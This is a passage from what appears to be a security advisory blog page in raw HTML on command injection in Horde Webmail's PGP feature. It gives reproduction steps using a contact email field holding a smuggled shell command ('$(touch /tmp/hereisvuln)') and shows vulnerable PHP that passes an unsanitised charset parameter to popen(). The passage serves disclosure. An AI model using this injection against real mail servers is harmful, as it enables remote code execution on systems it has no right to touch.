class=\"crayon-h\"> <\/span><span class=\"crayon-v\">value<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;hereinj@any.com&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;email&#8221;<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0005 seconds] -->  <\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-8.jpg\" data-slb-active=\"1\" data-slb-asset=\"788933597\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3118\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-8-300x192.jpg\" alt=\"\" width=\"300\" height=\"192\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-8-300x192.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-8-768x492.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-8.jpg 1023w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<ul>\n<li>Edit the address as we want \u2013 for example <em>hereinj$(touch \/tmp\/hereisvuln)@any.com<\/em> and click \u201cSave\u201d:<\/li>\n<\/ul>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-9.jpg\" data-slb-active=\"1\" data-slb-asset=\"1780700702\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3119\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-9-300x128.jpg\" alt=\"\" width=\"300\" height=\"128\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-9-300x128.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-9-768x328.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-9.jpg 994w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<li>Create a new message ( Mail -&gt; New Message) with our contact as recipient:<\/li>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-10.jpg\" data-slb-active=\"1\" data-slb-asset=\"1364283626\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3120\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-10-300x78.jpg\" alt=\"\" width=\"300\" height=\"78\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-10-300x78.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-10-768x199.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-10.jpg 959w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<ul>\n<li>Choose PGP Encrypt Message in Encryption option:<\/li>\n<\/ul>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-11.jpg\" data-slb-active=\"1\" data-slb-asset=\"1854634164\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3121\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-11-300x108.jpg\" alt=\"\" width=\"300\" height=\"108\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-11-300x108.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-11-768x277.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-11.jpg 954w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<ul>\n<li>Enter any subject and any content. Click \u201cSend\u201d<\/li>\n<\/ul>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-12.jpg\" data-slb-active=\"1\" data-slb-asset=\"795571932\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3122\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-12-300x95.jpg\" alt=\"\" width=\"300\" height=\"95\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-12-300x95.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-12-768x243.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-12.jpg 968w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<ul>\n<li>We will get \u201cPGP Error:\u2026\u201d<\/li>\n<\/ul>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-13.jpg\" data-slb-active=\"1\" data-slb-asset=\"664293118\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3123\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-13-300x151.jpg\" alt=\"\" width=\"300\" height=\"151\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-13-300x151.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-13-768x387.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-13.jpg 910w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<ul>\n<li>It is ok &#8211; let\u2019s check our server:<\/li>\n<\/ul>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-14.jpg\" data-slb-active=\"1\" data-slb-asset=\"1285920857\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3124\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-14-300x29.jpg\" alt=\"\" width=\"300\" height=\"29\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-14-300x29.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-14-768x75.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-14-1024x100.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-14.jpg 1034w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol>\n<ul>\n<li>We have a new file \u201c<em>hereisvuln<\/em>\u201d so our command was executed.<\/li>\n<\/ul>\n<\/ol>\n<p><strong>Unauthentication Remote Code Execution<\/strong><br \/> Horde Webmail contains a vulnerability that allows a remote attacker to execute arbitrary code with the privileges of the user who runs the web server.<\/p>\n<p>Vulnerable code: <em>decryptSignature()<\/em> function of GPG feature.<\/p>\n<p>Path: <em> \/Horde\/Crypt\/Pgp\/Backend\/Binary.php:<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372780658551456\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 539 *\/ public function decryptSignature($text, $params)  \/* 540 *\/ {  \/* &#8230; *\/  \/* 550 *\/ \/* Options for the GPG binary. *\/  \/* 551 *\/ $cmdline = array(  \/* 552 *\/ &#8216;&#8211;armor&#8217;,  \/* 553 *\/ &#8216;&#8211;always-trust&#8217;,  \/* 554 *\/ &#8216;&#8211;batch&#8217;,  \/* 555 *\/ &#8216;&#8211;charset &#8216; . (isset($params[&#8216;charset&#8217;]) ? $params[&#8216;charset&#8217;] : &#8216;UTF-8&#8217;),  \/* 556 *\/ $keyring,  \/* 557 *\/ &#8216;&#8211;verify&#8217;  \/* 558 *\/ );  \/* &#8230; *\/  \/* 571 *\/ $result = $this-&gt;_callGpg($cmdline, &#8216;r&#8217;, null, true, true, true);  \/* &#8230; *\/<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372780658551456-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372780658551456-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372780658551456-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372780658551456-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372780658551456-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372780658551456-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372780658551456-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372780658551456-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372780658551456-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372780658551456-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372780658551456-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372780658551456-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372780658551456-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372780658551456-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372780658551456-15\">15<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372780658551456-1\"><span class=\"crayon-c\">\/* 539 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">decryptSignature<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372780658551456-2\"><span class=\"crayon-c\">\/* 540 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372780658551456-3\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372780658551456-4\"><span class=\"crayon-c\">\/* 550 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* Options for the GPG binary. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372780658551456-5\"><span class=\"crayon-c\">\/* 551 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cmdline<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372780658551456-6\"><span class=\"crayon-c\">\/* 552 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;&#8211;armor&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372780658551456-7\"><span class=\"crayon-c\">\/* 553 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;&#8211;always-trust&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372780658551456-8\"><span class=\"crayon-c\">\/* 554 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;&#8211;batch&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372780658551456-9\"><span class=\"crayon-c\">\/* 555 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;&#8211;charset &#8216;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;charset&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;charset&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;UTF-8&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372780658551456-10\"><span class=\"crayon-c\">\/* 556 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">keyring<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372780658551456-11\"><span class=\"crayon-c\">\/* 557 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;&#8211;verify&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372780658551456-12\"><span class=\"crayon-c\">\/* 558 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372780658551456-13\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372780658551456-14\"><span class=\"crayon-c\">\/* 571 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">result<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_callGpg<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cmdline<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;r&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372780658551456-15\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0026 seconds] -->  <\/p>\n<p><em>$params[&#8216;charset&#8217;]<\/em> will be added to <em>$cmdline<\/em> array and passed to <em>_callGpg()<\/em>:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372783626229327\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 642 *\/ public function _callGpg(  \/* 643 *\/ $options, $mode, $input = array(), $output = false, $stderr = false,  \/* 644 *\/ $parseable = false, $verbose = false  \/* 645 *\/ )  \/* 646 *\/ {  \/* \u2026 *\/  \/* 675 *\/ $cmdline = implode(&#8216; &#8216;, array_merge($this-&gt;_gnupg, $options));  \/* \u2026 *\/  \/* 681 *\/ if ($mode == &#8216;w&#8217;) {  \/* \u2026 *\/  \/* 704 *\/ } elseif ($mode == &#8216;r&#8217;) {  \/* 705 *\/ if ($fp = popen($cmdline, &#8216;r&#8217;)) {  \/* \u2026 *\/<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372783626229327-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372783626229327-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372783626229327-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372783626229327-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372783626229327-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372783626229327-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372783626229327-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372783626229327-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372783626229327-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372783626229327-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372783626229327-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372783626229327-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372783626229327-13\">13<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372783626229327-1\"><span class=\"crayon-c\">\/* 642 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_callGpg<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372783626229327-2\"><span class=\"crayon-c\">\/* 643 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">mode<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">input<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">output<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stderr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372783626229327-3\"><span class=\"crayon-c\">\/* 644 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">parseable<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">verbose<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372783626229327-4\"><span class=\"crayon-c\">\/* 645 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372783626229327-5\"><span class=\"crayon-c\">\/* 646 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372783626229327-6\"><span class=\"crayon-c\">\/* \u2026 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372783626229327-7\"><span class=\"crayon-c\">\/* 675 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cmdline<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">implode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216; &#8216;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">array_merge<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">_gnupg<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372783626229327-8\"><span class=\"crayon-c\">\/* \u2026 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372783626229327-9\"><span class=\"crayon-c\">\/* 681 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">mode<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;w&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372783626229327-10\"><span class=\"crayon-c\">\/* \u2026 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372783626229327-11\"><span class=\"crayon-c\">\/* 704 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">elseif<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">mode<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;r&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372783626229327-12\"><span class=\"crayon-c\">\/* 705 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">fp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span 